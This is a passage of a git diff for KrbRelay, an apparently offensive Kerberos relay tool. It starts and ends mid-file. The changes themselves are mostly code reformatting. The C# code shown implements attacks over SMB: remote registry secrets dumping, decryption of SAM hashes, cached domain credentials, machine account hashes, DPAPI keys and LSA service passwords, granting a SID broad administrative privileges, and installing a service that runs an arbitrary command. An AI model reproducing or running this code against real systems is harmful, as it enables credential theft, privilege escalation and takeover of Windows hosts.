<< 1)); - data.Add(Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1)); - data.Add(Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1)); - data.Add(Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1)); + data.Add( + Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1) + ); data.Add(Convert.ToByte((inputData[6] & 0x7f) << 1)); return data; } @@ -205,9 +252,16 @@ private static byte[] DeObfuscateHashPart(byte[] obfuscatedHash, List key) DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider(); cryptoProvider.Padding = PaddingMode.None; cryptoProvider.Mode = CipherMode.ECB; - ICryptoTransform transform = cryptoProvider.CreateDecryptor(key.ToArray(), new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 }); + ICryptoTransform transform = cryptoProvider.CreateDecryptor( + key.ToArray(), + new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 } + ); MemoryStream memoryStream = new MemoryStream(obfuscatedHash); - CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read); + CryptoStream cryptoStream = new CryptoStream( + memoryStream, + transform, + CryptoStreamMode.Read + ); byte[] plainTextBytes = new byte[obfuscatedHash.Length]; int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length); return plainTextBytes; @@ -231,4 +285,4 @@ public static string DecryptSingleHash(byte[] obfuscatedHash, string user) return (BitConverter.ToString(plain1) + BitConverter.ToString(plain2)); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs index afa8117..3a07328 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs @@ -34,4 +34,4 @@ public LsaSecretBlob(byte[] inputData) public byte[] unk { get; set; } public byte[] secret { get; set; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs index 43e1beb..feace9d 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs @@ -20,4 +20,4 @@ public NL_Record(byte[] inputData) public byte[] IV { get; set; } public byte[] encryptedData { get; set; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs index 3a64a4d..f482f53 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs @@ -151,4 +151,4 @@ public byte[] getChildValues(string valueName) return targetData.Data; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs index 160e941..2b34fd0 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs @@ -8,7 +8,12 @@ namespace KrbRelay.HiveParser // Modified version of https://github.com/G0ldenGunSec/SharpSecDump public class Parse { - public static void ParseSecrets(byte[] samBytes, byte[] securityBytes, byte[] systemBytes, byte[] bootKey) + public static void ParseSecrets( + byte[] samBytes, + byte[] securityBytes, + byte[] systemBytes, + byte[] bootKey + ) { StringBuilder sb = new StringBuilder(); @@ -34,4 +39,4 @@ public static void ParseSecrets(byte[] samBytes, byte[] securityBytes, byte[] sy Console.WriteLine(sb.ToString()); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs index 02abde4..5253e27 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs @@ -10,7 +10,8 @@ public class Registry { private static byte[] StringToByteArray(string hex) { - return Enumerable.Range(0, hex.Length) + return Enumerable + .Range(0, hex.Length) .Where(x => x % 2 == 0) .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) .ToArray(); @@ -31,8 +32,25 @@ public static byte[] GetBootKey(RegistryHive systemHive) } byte[] skey = StringToByteArray(scrambledKey.ToString()); - byte[] descramble = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, - 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 }; + byte[] descramble = new byte[] + { + 0x8, + 0x5, + 0x4, + 0x2, + 0xb, + 0x9, + 0xd, + 0x3, + 0x0, + 0x6, + 0x1, + 0xc, + 0xe, + 0xa, + 0xf, + 0x7 + }; byte[] bootkey = new byte[16]; for (int i = 0; i < bootkey.Length; i++) @@ -52,14 +70,17 @@ private static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal) byte[] f70 = fVal.Skip(112).Take(16).ToArray(); List data = new List(); data.AddRange(f70); - data.AddRange(Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0")); + data.AddRange( + Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0") + ); data.AddRange(bootKey); - data.AddRange(Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0")); + data.AddRange( + Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0") + ); byte[] md5 = MD5.Create().ComputeHash(data.ToArray()); byte[] f80 = fVal.Skip(128).Take(32).ToArray(); hashedBootKey = Crypto.RC4Encrypt(md5, f80); } - //new version of storage -- Win 2016 / Win 10 (potentially Win 2012) and above else if (domainData[0].Equals(0x02)) { @@ -79,10 +100,7 @@ private static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal) public static List ParseSam(byte[] bootKey, RegistryHive sam) { - List retVal = new List - { - "[*] SAM hashes" - }; + List retVal = new List { "[*] SAM hashes" }; try { NodeKey nk = GetNodeKey(sam, @"SAM\Domains\Account"); @@ -93,11 +111,15 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) byte[] almpassword = Encoding.ASCII.GetBytes("LMPASSWORD\0"); foreach (NodeKey user in targetNode.ChildNodes.Where(x => x.Name.Contains("00000"))) { - byte[] rid = BitConverter.GetBytes(System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber)); + byte[] rid = BitConverter.GetBytes( + System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber) + ); byte[] v = user.getChildValues("V"); int offset = BitConverter.ToInt32(v, 12) + 204; int length = BitConverter.ToInt32(v, 16); - string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray()); + string username = Encoding.Unicode.GetString( + v.Skip(offset).Take(length).ToArray() + ); //there are 204 bytes of headers / flags prior to data in the encrypted key data structure int lmHashOffset = BitConverter.ToInt32(v, 156) + 204; @@ -110,9 +132,17 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) //old style hashes if (v[ntHashOffset + 2].Equals(0x01)) { - IEnumerable lmKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword); + IEnumerable lmKeyParts = hashedBootKey + .Take(16) + .ToArray() + .Concat(rid) + .Concat(almpassword); byte[] lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray()); - IEnumerable ntKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword); + IEnumerable ntKeyParts = hashedBootKey + .Take(16) + .ToArray() + .Concat(rid) + .Concat(antpassword); byte[] ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray()); byte[] encryptedLmHash = null; byte[] encryptedNtHash = null; @@ -120,14 +150,24 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) if (ntHashLength == 20) { encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray(); - byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash); - ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, user.Name).Replace("-", ""); + byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt( + ntHashDecryptionKey, + encryptedNtHash + ); + ntHash = Crypto + .DecryptSingleHash(obfuscatedNtHashTESTING, user.Name) + .Replace("-", ""); } if (lmHashLength == 20) { encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray(); - byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash); - lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, user.Name).Replace("-", ""); + byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt( + lmHashDecryptionKey, + encryptedLmHash + ); + lmHash = Crypto + .DecryptSingleHash(obfuscatedLmHashTESTING, user.Name) + .Replace("-", ""); } } //new-style hashes @@ -139,8 +179,17 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) if (lmData.Length > 0) { byte[] lmHashSalt = enc_LM_Hash.Skip(8).Take(16).ToArray(); - byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray(); - lmHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", ""); + byte[] desEncryptedHash = Crypto + .DecryptAES_CBC( + lmData, + hashedBootKey.Take(16).ToArray(), + lmHashSalt + ) + .Take(16) + .ToArray(); + lmHash = Crypto + .DecryptSingleHash(desEncryptedHash, user.Name) + .Replace("-", ""); } byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray(); @@ -149,11 +198,22 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) if (ntData.Length > 0) { byte[] ntHashSalt = enc_NT_Hash.Skip(8).Take(16).ToArray(); - byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray(); - ntHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", ""); + byte[] desEncryptedHash = Crypto + .DecryptAES_CBC( + ntData, + hashedBootKey.Take(16).ToArray(), + ntHashSalt + ) + .Take(16) + .ToArray(); + ntHash = Crypto + .DecryptSingleHash(desEncryptedHash, user.Name) + .Replace("-", ""); } } - string ridStr = System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber).ToString(); + string ridStr = System.Int32 + .Parse(user.Name, System.Globalization.NumberStyles.HexNumber) + .ToString(); string hashes = (lmHash + ":" + ntHash); retVal.Add(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower())); } @@ -165,7 +225,11 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) return retVal; } - public static List ParseLsa(RegistryHive security, byte[] bootKey, RegistryHive system) + public static List ParseLsa( + RegistryHive security, + byte[] bootKey, + RegistryHive system + ) { List retVal = new List(); try @@ -175,7 +239,11 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis byte[] dataVal = record.data.Take(32).ToArray(); byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal); byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray(); - byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray(); + byte[] decryptedLsaKey = Crypto + .DecryptAES_ECB(dataVal2, tempKey) + .Skip(68) + .Take(32) + .ToArray(); //get NLKM Secret byte[] nlkmKey = null; @@ -186,15 +254,45 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis nlkmKey = DumpSecret(nlkm, decryptedLsaKey); foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues) { - if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray())) + if ( + string.Compare( + cachedLogin.Name, + "NL$Control", + StringComparison.OrdinalIgnoreCase + ) != 0 + && !IsZeroes(cachedLogin.Data.Take(16).ToArray()) + ) { NL_Record cachedUser = new NL_Record(cachedLogin.Data); - byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV); + byte[] plaintext = Crypto.DecryptAES_CBC( + cachedUser.encryptedData, + nlkmKey.Skip(16).Take(16).ToArray(), + cachedUser.IV + ); byte[] hashedPW = plaintext.Take(16).ToArray(); - string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray()); - string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray()); + string username = Encoding.Unicode.GetString( + plaintext.Skip(72).Take(cachedUser.userLength).ToArray() + ); + string domain = Encoding.Unicode.GetString( + plaintext + .Skip( + 72 + + Pad(cachedUser.userLength) + + Pad(cachedUser.domainNameLength) + ) + .Take(Pad(cachedUser.dnsDomainLength)) + .ToArray() + ); domain = domain.Replace("\0", ""); - retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower())); + retVal.Add( + string.Format( + "{0}/{1}:$DCC2$10240#{2}#{3}", + domain, + username, + username, + BitConverter.ToString(hashedPW).Replace("-", "").ToLower() + ) + ); } } } @@ -204,11 +302,25 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis retVal.Add("[*] LSA Secrets"); foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes) { - if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0) + if ( + string.Compare( + secret.Name, + "NL$Control", + StringComparison.OrdinalIgnoreCase + ) != 0 + ) { - if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0) + if ( + string.Compare( + secret.Name, + "NL$KM", + StringComparison.OrdinalIgnoreCase + ) != 0 + ) { - LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey)); + LsaSecretBlob secretBlob = new LsaSecretBlob( + DumpSecret(secret, decryptedLsaKey) + ); if (secretBlob.length > 0) { retVal.Add(PrintSecret(secret.Name, secretBlob, system)); @@ -261,39 +373,83 @@ private static bool IsZeroes(byte[] inputArray) return true; } - private static string PrintSecret(string keyName, LsaSecretBlob secretBlob, RegistryHive system) + private static string PrintSecret( + string keyName, + LsaSecretBlob secretBlob, + RegistryHive system + ) { string secretOutput = string.Format("[*] {0}\r\n", keyName); if (keyName.ToUpper().StartsWith("_SC_")) { - ValueKey startName = GetValueKey(system, string.Format(@"ControlSet001\Services\{0}\ObjectName", keyName.Substring(4))); + ValueKey startName = GetValueKey( + system, + string.Format(@"ControlSet001\Services\{0}\ObjectName", keyName.Substring(4)) + ); string pw = Encoding.Unicode.GetString(secretBlob.secret.ToArray()); - secretOutput += string.Format("{0}:{1}", Encoding.UTF8.GetString(startName.Data), pw); + secretOutput += string.Format( + "{0}:{1}", + Encoding.UTF8.GetString(startName.Data), + pw + ); } else if (keyName.ToUpper().StartsWith("$MACHINE.ACC")) { - string computerAcctHash = BitConverter.ToString(Crypto.Md4Hash2(secretBlob.secret)).Replace("-", "").ToLower(); - ValueKey domainName = GetValueKey(system, @"ControlSet001\Services\Tcpip\Parameters\Domain"); - ValueKey computerName = GetValueKey(system, @"ControlSet001\Services\Tcpip\Parameters\Hostname"); - secretOutput += string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", Encoding.UTF8.GetString(domainName.Data), Encoding.UTF8.GetString(computerName.Data), computerAcctHash); + string computerAcctHash = BitConverter + .ToString(Crypto.Md4Hash2(secretBlob.secret)) + .Replace("-", "") + .ToLower(); + ValueKey domainName = GetValueKey( + system, + @"ControlSet001\Services\Tcpip\Parameters\Domain" + ); + ValueKey computerName = GetValueKey( + system, + @"ControlSet001\Services\Tcpip\Parameters\Hostname" + ); + secretOutput += string.Format( + "{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", + Encoding.UTF8.GetString(domainName.Data), + Encoding.UTF8.GetString(computerName.Data), + computerAcctHash + ); } else if (keyName.ToUpper().StartsWith("DPAPI")) { - secretOutput += ("dpapi_machinekey:" + BitConverter.ToString(secretBlob.secret.Skip(4).Take(20).ToArray()).Replace("-", "").ToLower() + "\r\n"); - secretOutput += ("dpapi_userkey:" + BitConverter.ToString(secretBlob.secret.Skip(24).Take(20).ToArray()).Replace("-", "").ToLower()); + secretOutput += ( + "dpapi_machinekey:" + + BitConverter + .ToString(secretBlob.secret.Skip(4).Take(20).ToArray()) + .Replace("-", "") + .ToLower() + + "\r\n" + ); + secretOutput += ( + "dpapi_userkey:" + + BitConverter + .ToString(secretBlob.secret.Skip(24).Take(20).ToArray()) + .Replace("-", "") + .ToLower() + ); } else if (keyName.ToUpper().StartsWith("NL$KM")) { - secretOutput += ("NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower()); + secretOutput += ( + "NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower() + ); } else if (keyName.ToUpper().StartsWith("ASPNET_WP_PASSWORD")) { - secretOutput += ("ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret)); + secretOutput += ( + "ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret) + ); } else { - secretOutput += ("[!] Secret type not supported yet - outputing raw secret as unicode:\r\n"); + secretOutput += ( + "[!] Secret type not supported yet - outputing raw secret as unicode:\r\n" + ); secretOutput += (System.Text.Encoding.Unicode.GetString(secretBlob.secret)); } return secretOutput; @@ -349,4 +505,4 @@ public static ValueKey GetValueKey(RegistryHive hive, string path) return node.ChildValues.SingleOrDefault(v => v.Name == keyname); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs index 06655f2..75ec2be 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs @@ -38,4 +38,4 @@ public RegistryHive(BinaryReader reader) public NodeKey RootKey { get; set; } public bool WasExported { get; set; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs index 1ed7daf..f66a8bd 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs @@ -22,7 +22,8 @@ public ValueKey(BinaryReader hive) hive.BaseStream.Position += 4; buf = hive.ReadBytes(this.NameLength); - this.Name = (this.NameLength == 0) ? "Default" : System.Text.Encoding.UTF8.GetString(buf); + this.Name = + (this.NameLength == 0) ? "Default" : System.Text.Encoding.UTF8.GetString(buf); if (this.DataLength < 5) this.Data = databuf; @@ -41,4 +42,4 @@ public ValueKey(BinaryReader hive) public byte[] Data { get; set; } public string String { get; set; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/LSA.cs b/KrbRelay/Clients/Attacks/Smb/LSA.cs index c64f93e..e11470a 100644 --- a/KrbRelay/Clients/Attacks/Smb/LSA.cs +++ b/KrbRelay/Clients/Attacks/Smb/LSA.cs @@ -10,7 +10,14 @@ internal class LSA { public static void AddAccountRights(SMB2Client smbClient, string sid) { - using (RPCCallHelper rpc = new RPCCallHelper(smbClient, LsaRemoteService.ServicePipeName, LsaRemoteService.ServiceInterfaceGuid, LsaRemoteService.ServiceVersion)) + using ( + RPCCallHelper rpc = new RPCCallHelper( + smbClient, + LsaRemoteService.ServicePipeName, + LsaRemoteService.ServiceInterfaceGuid, + LsaRemoteService.ServiceVersion + ) + ) { var status = rpc.BindPipe(); if (status != NTStatus.STATUS_SUCCESS) @@ -19,42 +26,52 @@ public static void AddAccountRights(SMB2Client smbClient, string sid) return; } - LsaHandle lsaHandle = LsaServiceHelper.LsaOpenPolicy(rpc, AccessMask.MAXIMUM_ALLOWED, out status); + LsaHandle lsaHandle = LsaServiceHelper.LsaOpenPolicy( + rpc, + AccessMask.MAXIMUM_ALLOWED, + out status + ); Console.WriteLine("LsaOpenPolicy: {0}", status); - string[] adminGroup = new string[] { - "SeSecurityPrivilege", - "SeBackupPrivilege", - "SeRestorePrivilege", - "SeSystemtimePrivilege", - "SeShutdownPrivilege", - "SeRemoteShutdownPrivilege", - "SeTakeOwnershipPrivilege", - "SeDebugPrivilege", - "SeSystemEnvironmentPrivilege", - "SeSystemProfilePrivilege", - "SeProfileSingleProcessPrivilege", - "SeIncreaseBasePriorityPrivilege", - "SeLoadDriverPrivilege", - "SeCreatePagefilePrivilege", - "SeIncreaseQuotaPrivilege", - "SeUndockPrivilege", - "SeManageVolumePrivilege", - "SeImpersonatePrivilege", - "SeCreateGlobalPrivilege", - "SeTimeZonePrivilege", - "SeCreateSymbolicLinkPrivilege", - "SeChangeNotifyPrivilege", - "SeDelegateSessionUserImpersonatePrivilege", - "SeInteractiveLogonRight", - "SeNetworkLogonRight", - "SeBatchLogonRight", - "SeRemoteInteractiveLogonRight" - }; - status = LsaServiceHelper.AddAccountRights(rpc, lsaHandle, SIDHelper.CreateFromString(sid), adminGroup); + string[] adminGroup = new string[] + { + "SeSecurityPrivilege", + "SeBackupPrivilege", + "SeRestorePrivilege", + "SeSystemtimePrivilege", + "SeShutdownPrivilege", + "SeRemoteShutdownPrivilege", + "SeTakeOwnershipPrivilege", + "SeDebugPrivilege", + "SeSystemEnvironmentPrivilege", + "SeSystemProfilePrivilege", + "SeProfileSingleProcessPrivilege", + "SeIncreaseBasePriorityPrivilege", + "SeLoadDriverPrivilege", + "SeCreatePagefilePrivilege", + "SeIncreaseQuotaPrivilege", + "SeUndockPrivilege", + "SeManageVolumePrivilege", + "SeImpersonatePrivilege", + "SeCreateGlobalPrivilege", + "SeTimeZonePrivilege", + "SeCreateSymbolicLinkPrivilege", + "SeChangeNotifyPrivilege", + "SeDelegateSessionUserImpersonatePrivilege", + "SeInteractiveLogonRight", + "SeNetworkLogonRight", + "SeBatchLogonRight", + "SeRemoteInteractiveLogonRight" + }; + status = LsaServiceHelper.AddAccountRights( + rpc, + lsaHandle, + SIDHelper.CreateFromString(sid), + adminGroup + ); Console.WriteLine("LsarAddAccountRights: {0}", status); LsaServiceHelper.LsaClose(rpc, lsaHandle, out status); } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs b/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs index d24a1f8..e5b8b36 100644 --- a/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs +++ b/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs @@ -17,7 +17,14 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false) Console.WriteLine("[-] Could not start remoteregistry"); return; } - using (RPCCallHelper rpc = new RPCCallHelper(smbClient, RrpService.ServicePipeName, RrpService.ServiceInterfaceGuid, RrpService.ServiceVersion)) + using ( + RPCCallHelper rpc = new RPCCallHelper( + smbClient, + RrpService.ServicePipeName, + RrpService.ServiceInterfaceGuid, + RrpService.ServiceVersion + ) + ) { var status = rpc.BindPipe(); if (status != NTStatus.STATUS_SUCCESS) @@ -43,20 +50,43 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false) StringBuilder scrambledKey = new StringBuilder(); foreach (var key in new string[] { "JD", "Skew1", "GBG", "Data" }) //, { - var hBootKey = RrpServiceHelper.BaseRegOpenKey(rpc, hKey, $"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}\x00", out status); + var hBootKey = RrpServiceHelper.BaseRegOpenKey( + rpc, + hKey, + $"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}\x00", + out status + ); var v = RrpServiceHelper.baseRegQueryInfoKey(rpc, hBootKey, out status); scrambledKey.Append(v.lpClassOut.Value); RrpServiceHelper.BaseRegCloseKey(rpc, hBootKey, out status); } RrpServiceHelper.BaseRegCloseKey(rpc, hKey, out status); - byte[] scrambled = Helpers.StringToByteArray(scrambledKey.ToString()); - byte[] transforms = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 }; + byte[] scrambled = Helpers.HexToByteArray(scrambledKey.ToString()); + byte[] transforms = new byte[] + { + 0x8, + 0x5, + 0x4, + 0x2, + 0xb, + 0x9, + 0xd, + 0x3, + 0x0, + 0x6, + 0x1, + 0xc, + 0xe, + 0xa, + 0xf, + 0x7 + }; byte[] bootKey = new byte[16]; for (int i = 0; i < 16; i++) { bootKey[i] = scrambled[transforms[i]]; } - Console.WriteLine("[*] Bootkey: {0}", Helpers.ByteArrayToString(bootKey)); + Console.WriteLine("[*] Bootkey: {0}", Helpers.ByteArrayToHex(bootKey)); Shares.copyFile(smbClient, "windows\\temp\\sam.tmp", true, out byte[] bsam); Shares.copyFile(smbClient, "windows\\temp\\sec.tmp", true, out byte[] bsec); @@ -83,4 +113,4 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false) } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs b/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs index 89a8c30..2f9332b 100644 --- a/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs +++ b/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs @@ -10,7 +10,14 @@ internal class ServiceManager { public static bool startService(SMB2Client smbClient, string serviceName) { - using (RPCCallHelper rpc = new RPCCallHelper(smbClient, ScmrService.ServicePipeName, ScmrService.ServiceInterfaceGuid, ScmrService.ServiceVersion)) + using ( + RPCCallHelper rpc = new RPCCallHelper( + smbClient, + ScmrService.ServicePipeName, + ScmrService.ServiceInterfaceGuid, + ScmrService.ServiceVersion + ) + ) { var status = rpc.BindPipe(); if (status != NTStatus.STATUS_SUCCESS) @@ -25,7 +32,12 @@ public static bool startService(SMB2Client smbClient, string serviceName) Console.WriteLine("[-] Could open SCMR handle"); return false; } - var serviceHandle = ScmrServiceHelper.rOpenServiceW(rpc, lpScHandle, serviceName, out status); + var serviceHandle = ScmrServiceHelper.rOpenServiceW( + rpc, + lpScHandle, + serviceName, + out status + ); if (status != NTStatus.STATUS_SUCCESS) { ScmrServiceHelper.rCloseServiceHandle(rpc, lpScHandle, out var temp); @@ -56,7 +68,14 @@ public static bool startService(SMB2Client smbClient, string serviceName) public static void serviceInstall(SMB2Client smb2, string serviceName, string cmd) { - using (RPCCallHelper rpc = new RPCCallHelper(smb2, ScmrService.ServicePipeName, ScmrService.ServiceInterfaceGuid, ScmrService.ServiceVersion)) + using ( + RPCCallHelper rpc = new RPCCallHelper( + smb2, + ScmrService.ServicePipeName, + ScmrService.ServiceInterfaceGuid, + ScmrService.ServiceVersion + ) + ) { var status = rpc.BindPipe(); if (status != NTStatus.STATUS_SUCCESS) @@ -70,7 +89,13 @@ public static void serviceInstall(SMB2Client smb2, string serviceName, string cm Console.WriteLine("[-] Failed to open SCMR handle: {0}", status); return; } - var newHandle = ScmrServiceHelper.rCreateServiceW(rpc, lpScHandle, $"{serviceName}\x00", cmd, out status); + var newHandle = ScmrServiceHelper.rCreateServiceW( + rpc, + lpScHandle, + $"{serviceName}\x00", + cmd, + out status + ); if (status != NTStatus.STATUS_SUCCESS) { Console.WriteLine("[-] Failed to create service: {0}", status); @@ -93,4 +118,4 @@ public static void serviceInstall(SMB2Client smb2, string serviceName, string cm } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/Shares.cs b/KrbRelay/Clients/Attacks/Smb/Shares.cs index 4bd2049..7ed906e 100644 --- a/KrbRelay/Clients/Attacks/Smb/Shares.cs +++ b/KrbRelay/Clients/Attacks/Smb/Shares.cs @@ -14,11 +14,26 @@ public static void listDir(ISMBFileStore fileStore, string path = "") { object directoryHandle; FileStatus fileStatus; - var status = fileStore.CreateFile(out directoryHandle, out fileStatus, path, AccessMask.GENERIC_READ, SMBLibrary.FileAttributes.Directory, ShareAccess.Read | ShareAccess.Write, CreateDisposition.FILE_OPEN, CreateOptions.FILE_DIRECTORY_FILE, null); + var status = fileStore.CreateFile( + out directoryHandle, + out fileStatus, + path, + AccessMask.GENERIC_READ, + SMBLibrary.FileAttributes.Directory, + ShareAccess.Read | ShareAccess.Write, + CreateDisposition.FILE_OPEN, + CreateOptions.FILE_DIRECTORY_FILE, + null + ); if (status == NTStatus.STATUS_SUCCESS) { List 